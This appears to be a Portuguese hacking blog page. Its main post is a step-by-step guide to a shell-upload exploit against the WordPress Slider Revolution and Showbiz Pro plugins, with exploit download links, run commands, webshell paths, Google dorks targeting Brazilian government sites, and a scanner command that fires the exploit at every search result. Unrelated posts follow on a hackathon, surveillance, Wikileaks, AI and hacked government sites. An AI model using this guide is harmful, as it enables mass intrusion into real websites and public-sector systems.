Explorando Slider Revolution/Showbiz Pro Shell Upload Exploit

0x===> Slider Revolution/Showbiz Pro Shell Upload Exploit

Bom vamos lá novamente surge um bug critico em um plugin do Wordpress novamente o plugin afetado é o Slider Revolution estima-se que atualmente ele seja o plugin para slider.

[INFO INTERNA DO EXPLOIT]{

Além da vulnerabilidade LFI recentemente que foi publicado há alguns meses, esta é uma outra vulnerabilidade que os desenvolvedores não corrigiram.
Decidiram disponibilizar sem liberar um boletim de segurança completo, deixando milhares de usuários revslider que não atualizam o seu plugin para a versão mais recente (=> 3.0.96) vulnerável a esta falha desagradável, revsliders desenvolvedores irão argumentar o fato de que seu controle vem com um recurso de atualização automática, mas o problema é que este plugin é empacotado com um monte de temas, o que significa que esses temas os usuários podem não conseguir as devidas atualizações de plugins ou terá que pagar para obter a atualização. Em outras palavras desenvolvedores da revslider acredito que cada usuário deve ter o recurso de atualização automática, caso contrário ... você está ferrado.
 Obviamente, isso é muito mais importante do que a vulnerabilidade LFI, pois permite o acesso shell dando atacantes acesso ao sistema de destino bem como a capacidade para despejar todo o banco de dados wordpress localmente.
Dito isto, deve-se atualizar imediatamente para a versão mais recente ou desativar / switch para outro plugin.
Quanto Showbiz Pro, infelizmente a vulnerabilidade nunca foi criado um patched como foi explorada com sucesso na última versão (1.7.1)

}

Download:

Exploit:

http://www.morxploit.com/morxploits/morxrevbiz.pl

Exploit update zip files:

http://www.morxploit.com/morxploits/revslider.zip

http://www.morxploit.com/morxploits/showbiz.zip

Dependências de para uso:

Requires LWP::UserAgent

apt-get install libwww-perl

yum install libwww-perl

perl -MCPAN -e 'install Bundle::LWP'

For SSL support:

apt-get install liblwp-protocol-https-perl

yum install perl-Crypt-SSLeay

Começando a exploração

Primeiro baixaremos o exploit http://1337day.com/exploit/22938

No código do exploit encontramos dois zip's citados acima para baixar:

Fazemos o download dos arquivos na mesma pasta em que o exploit.pl esteja alocado.

Mãos a obra 

0x Comando / Demo: 

1. perl exploit.pl <target> <plugin>
2. perl exploit.pl http://localhost revslider
3. perl exploit.pl http://localhost showbiz
4. perl exploit.pl http://localhost revslider

A primeira forma de explorar essa falha é pegando acesso via terminal nos dando acesso a pasta
"wp-content/plugins/__PLUGIN__/temp/update_extract/__PLUGIN__/"
 (os locais com __PLUGIN__ é o nome do plugin escolhido),
 Depois de tal processo se foi executado com sucesso apos isso é temos acesso ao terminal shell da maquina vulnerável, assim executando comandos como id,ls,wget entre outros.

A segunda maneira que o exploit nos permite obter acesso é por meio de uma webshell que fica alocada em "wp-content/plugins/__PLUGIN__/temp/update_extract/temp.php".

DORK[0] site:.gov.br inurl:/temp/update_extract/ revslider
DORK[1] site:.br inurl:/temp/update_extract/ revslider
DORK[2] site:.br inurl:/temp/update_extract/

Comando compatível com SCANNER INURLBR: 

./inurlbr.php --dork 'site:.gov.br inurl:/temp/update_extract/' -s wordpress.txt -q 1,6 --comand-all 'perl exploitWordpressSlide.pl http://_TARGET_ revslider'

OBS: Para usar tal exploits junto ao scanner inurlbr deve-se modificar tal scritp em seu banner retirando a linha 140 que contem um limpador de tela.
line 140: system(($^O eq 'MSWin32') ? 'cls' : 'clear'); 

SCANNER INURLBR BAIXAR:
https://github.com/googleinurl/SCANNER-INURLBR

Hackers usam tecnologia para combater violência contra a mulher

Hackers, programadores e especialistas em assuntos relacionados a gênero começaram nesta terça-feira (25) a trabalhar efetivamente nos 22 aplicativos que vão usar tecnologias digitais para traduzir dados públicos de maneira útil e acessível a qualquer pessoa.

Reunidos no Salão Branco da Câmara dos Deputados, eles participam da 2ª edição do Hackathon - espécie de maratona colaborativa que desafia desenvolvedores de soluções digitais. Neste ano, os 47 participantes deverão criar aplicativos para ampliar a transparência de dados públicos sobre “violência contra a mulher” e sobre “políticas públicas de gênero e cidadania”.

Uma dos projetos de aplicativo, por exemplo, pretende fornecer informações úteis sobre a violência obstétrica, que envolve agressões físicas ou emocionais de gestantes por parte dos profissionais da área da saúde.

“Nosso objetivo é criar um aplicativo para celular que permita às mulheres se informar sobre o que é a violência obstétrica, como se proteger e também para incentivar o parto humanizado”, explica a Marcela Oliveira, que veio de Maceió para participar do Hackthon. Segundo ela, a ferramenta vai funcionar como uma espécie de rede social, permitindo que as próprias mulheres possam compartilhar informações e experiências com outras gestantes.

Especialistas

Coordenador do evento, Cristiano Ferri destaca que a novidade da edição deste ano é a participação de especialistas de outras áreas, como sociólogos e antropólogos, que já pensam e discutem a questão de gênero. “Como esses jovens são especialistas em questões de gênero e dominam as mágicas da tecnologia muito bem, vão conseguir facilitar a compreensão de dados importantes utilizando aplicativos e até jogos”, disse.

Para a coordenadora de Acesso à Justiça e Combate à Violência da Secretaria de Diretos da Mulher da Presidência da República, Aline Yamamoto, eventos como o Hackathon podem resultar em ferramentas importantes no combate a problemas sérios, como a violência contra a mulher.

“Essa iniciativa de aplicativo cria uma rede de apoio às mulheres e é uma forma de mostrar como podem buscar seus diretos e quais são os serviços que podem atendê-las nas áreas de saúde, justiça e assistência social”, apontou. Segundo Yamamoto, o Brasil ocupa atualmente a 7ª posição no ranking de países com maior número de assassinatos e mortes violentas de mulheres.

Tecnologia

A deputada Rosane Ferreira (PV-PR) defendeu o potencial das tecnologias digitais como meios de acesso à informação. “Hoje não dá para dispensar a linguagem da internet. É uma linguagem universal, que permeia todas as classes sociais. É mais um instrumento de enfrentamento contra a violência de gênero e contra a violência doméstica que assolam o nosso País”, afirmou.

Outro aplicativo em desenvolvimento nesta semana é o Myrthes, que cria uma rede social para troca de informações entre mulheres vítimas de violência e advogados. Conforme Mônica Monteiro, que participa do grupo responsável pelo aplicativo, a ideia é que as mulheres possam tirar dúvidas e se orientar sobre o que fazer caso a caso. “O objetivo é instruir as mulheres para incentivá-las a criar o hábito de denunciar”, apontou.

Mônica Monteiro acrescentou que o grupo estuda parcerias com universidades e com advogados que já são engajados na defesa dos direitos da mulher.

O Hackthon se encerra na sexta-feira (28) e vai premiar os autores dos dois projetos vencedores com passagem e hospedagem para participar de um encontro sobre projetos de Democracia Digital na sede do Banco Mundial, em Washington, nos Estados Unidos.

Fonte:http://agenciapatriciagalvao.org.br/violencia/hackers-usam-tecnologia-para-combater-violencia-contra-mulher/

Porque a privacidade é importante

O jornalista britânico Glenn Greenwald deu uma excelente palestra no TED Global 2014, que aconteceu recentemente no Rio de Janeiro: Why privacy matters.

VÍDEO:  
Em sua palestra, Greenwald discute o direito a privacidade e critica os esforços governamentais de criar um Estado de vigilância sobre as pessoas. Ele defende que todos nós entendemos instintivamente a importância de termos a nossa privacidade em determinados momentos, mesmo que não tenhamos motivo para nos esconder de outras pessoas e do governo. Afinal de contas, todos nós temos direito a liberdade e ao sentimento de poder agir e pensar em liberdade. Além do mais, todos nós temos algo para esconder do resto do mundo sobre o que pensamos, fazemos ou dizemos. Sejam ações, idéias, ou comportamentos. Coisas que não queremos que os outros não saibam.

Nosso comportamento pode mudar dramaticamente quando estamos em uma situação aonde somos vigiados: isto é uma simples reação natural, humana. Nosso comportamento é mais conformista e obediente quando somos monitorados, e assim podemos ser controlados mais facilmente. A vigilância massiva causa uma prisão mental em todos nós. Ou seja, no mundo digital de hoje, o vigilantismo é a nova forma de controle e tirania. E, o melhor de tudo: não é necessário vigiar a todos o tempo todo - basta fazer as pessoas acreditarem que podem ser monitoradas a qualquer momento.

Pensando bem, isto não é um fenômeno que acontece somente nos dias de hoje e no mundo online. Um dos maiores poderes das ditaduras é a vigilância sobre sua população através de espiões e delatores. Foi assim em países Europeus que eram dominados por regimes comunistas, é assim até hoje em Cuba - por exemplo. Assim como descrito no livro 1984, um livro escrito em 1948 !!!

Uma sociedade aonde as pessoas podem ser monitoradas a qualquer momento é uma sociedade dominada pela conformidade, obediência e submissão. E que limita a nossa liberdade.

Uma verdadeira sociedade democrática sabe respeitar não apenas os cidadãos obedientes, mas até mesmo os seus dissidentes.

Fonte:
http://anchisesbr.blogspot.com.br/2014/10/seguranca-porque-privacidade-e.html
https://www.ted.com/talks/glenn_greenwald_why_privacy_matters

DOWNLOAD VÍDEO:
http://video-subtitle.tedcdn.com/talk/podcast/2014G/None/GlennGreenwald_2014G-480p-pt-br.mp4

Wikileaks prepara novo vazamento de arquivos secretos

O fundador do Wikileaks, Julian Assange, revelou neste domingo que a organização prepara um novo vazamento de arquivos secretos e criticou o Google por considerá-lo a serviço do governo dos Estados Unidos.

As declarações foram dadas durante participação em um fórum sobre "Vigilância de Massas" no Festival de Cinema de Lisboa e Estoril (Leffest), por meio de teleconferência, já que continua recluso na embaixada do Equador em Londres.

O ativista australiano não forneceu detalhes sobre o conteúdo do vazamento nem a data que os arquivos serão divulgados.

Durante o discurso, Assange fez duras críticas ao governo e às agências de inteligência americanas por tentarem controlar o maior número possível de dados em nível mundial. Ele destacou que apesar dos muitos ataques contra o Wikileaks, a organização conseguiu sobreviver e segue funcionando.

"Não conseguiram destruir nem um só documento, eles (americanos) perderam", ressaltou o ativista australiano, refugiado na representação diplomática do Equador em Londres desde julho de 2012, após a Corte Suprema Britânica ter autorizado sua extradição para a Suécia.

Os suecos acusam Assange de ter cometido crimes sexuais no país, fato negado pelo ativista. Ele afirma que a extradição é interesse dos Estados Unidos, que quer ele seja julgado assim como Chelsea Manning, soldado que vazou documentos diplomáticos para o Wikileaks em 2010 e condenado a 35 anos de prisão.

Chelsea Manning, ex-analista de inteligência do exército americano, era conhecida como Bradley Manning na época do vazamento, e passou por uma operação de mudança de sexo. A militar atuou em operações americanas no Iraque.

O fundador do Wikileaks defendeu que a principal ameaça de segurança em nível mundial é o poder ilimitado das agências de inteligência. Ele descartou que a vigilância em massa seja o método mais adequado para combater o terrorismo.

Assange criticou a centralização da informação em poucas mãos, algo que, em sua opinião, transformaria o mundo em totalitário, e acusou o Google de manter estreitas relações com o governo americano.

Fonte:http://anonopsbrazil.blogspot.com.br/2014/11/wikileaks-prepara-novo-vazamento-de.html

AI inteligencia artificial

Continuando a serie de estudos para o aperfeiçoamento do POI me deparo com um artigo do
Stephen Hawking sobre inteligencia artificial no qual ele fez a seguinte afirmação.

"Olhando para o futuro, não há limites fundamentais para o que pode ser alcançado: não há nenhuma lei física impedindo partículas de se organizarem de forma que executem cálculos ainda mais avançados do que os arranjos de partículas em cérebros humanos. Uma transição explosiva é possível, apesar de talvez ser um pouco diferente de um filme: como Irving Good percebeu em 1965, máquinas com inteligência sobre-humana podem repetidamente melhorar o próprio design, ativando o que Vernor Vinge chamou de “singularidade” e o personagem do filme de Johnny Depp chama de “transcendência”.

Alguém pode pensar que tal tecnologia pode ser mais inteligente que mercados financeiros, superar pesquisadores humanos, ficar além da manipulação de líderes humanos e desenvolver armas que nem conseguimos entender. Considerando que o impacto de curto prazo da AI depende de quem a controla, o impacto a longo prazo depende se ela pode ser de alguma forma controlada.

Então, encarando possíveis futuros de benefícios e riscos incalculáveis, os especialistas certamente vão fazer tudo possível para garantir o melhor resultado, certo? Errado. Se uma civilização alienígena superior nos envia uma mensagem “Estamos chegando dentro de algumas décadas”, nós responderíamos apenas “Ok, ligue quando estiverem por aqui – vamos deixar as luzes acesas”? Provavelmente não – mas é mais ou menos isso o que está acontecendo com a inteligência artificial. Apesar de estarmos prestes a encarar o que potencialmente será a melhor ou pior coisa da história da humanidade, pouca pesquisa séria está sendo feita sobre essas questões fora de instituições sem fins lucrativos como o Centro de Estudos de Risco Existencial em Cambridge, o Instituto do Futuro da Humanidade, o Instituto de Pesquisa de Inteligência de Máquina, e o Instituto de Vida Futura. Todos devíamos nos perguntar o que podemos fazer para melhorar as chances de colher os benefícios e evitar os riscos."

Em breve buscas sobre o assunto decidir criar um pequeno artigo bom vamos lá

Atualmente partindo de um paradigma mutável podemos classificar a AI em dois tipos os racionais é os programáveis.

AI programáveis

A inteligencia artificial programável creio que a nova geração ou ate mesmos os curiosos já devem conhecer o robo ed é o maior exemplo de AI programável que temos atualmente possui uma infinita gama de respostas porem com um raciocínio limitado.

AI racional

A inteligencia artificial racional é temida por grandes pesquisadores no ramo todos já tiveram contato com filmes do gênero exterminador do futuro entre muitos outros onde as maquinas dominam o mundo a AI racional tende a aprender pensar refletir entre outros aspectos bem humanos.

Atualmente creio que não haja projetos de AI racional mutável pois ainda causa grandes medos a cientistas.

Sistemas governamentais brasileiros vulneráveis

 Durante esse ano nós acompanhamos diversas invasões a site de organizações gorvenamentais. Acompanhe alguma delas [Tribunal de contas DF] [ProconSP] [Previdencia] [Policia Militar RJ] [Aneel] [Emater DF] [Renan Filho] [PM Matogrosso] [Detran RJ] dentre várias outras organizações.

"Depois de todas essas invasões esperamos que o Brasil venha a melhorar" disse o hacker com codinome "b4kunin_malvadão".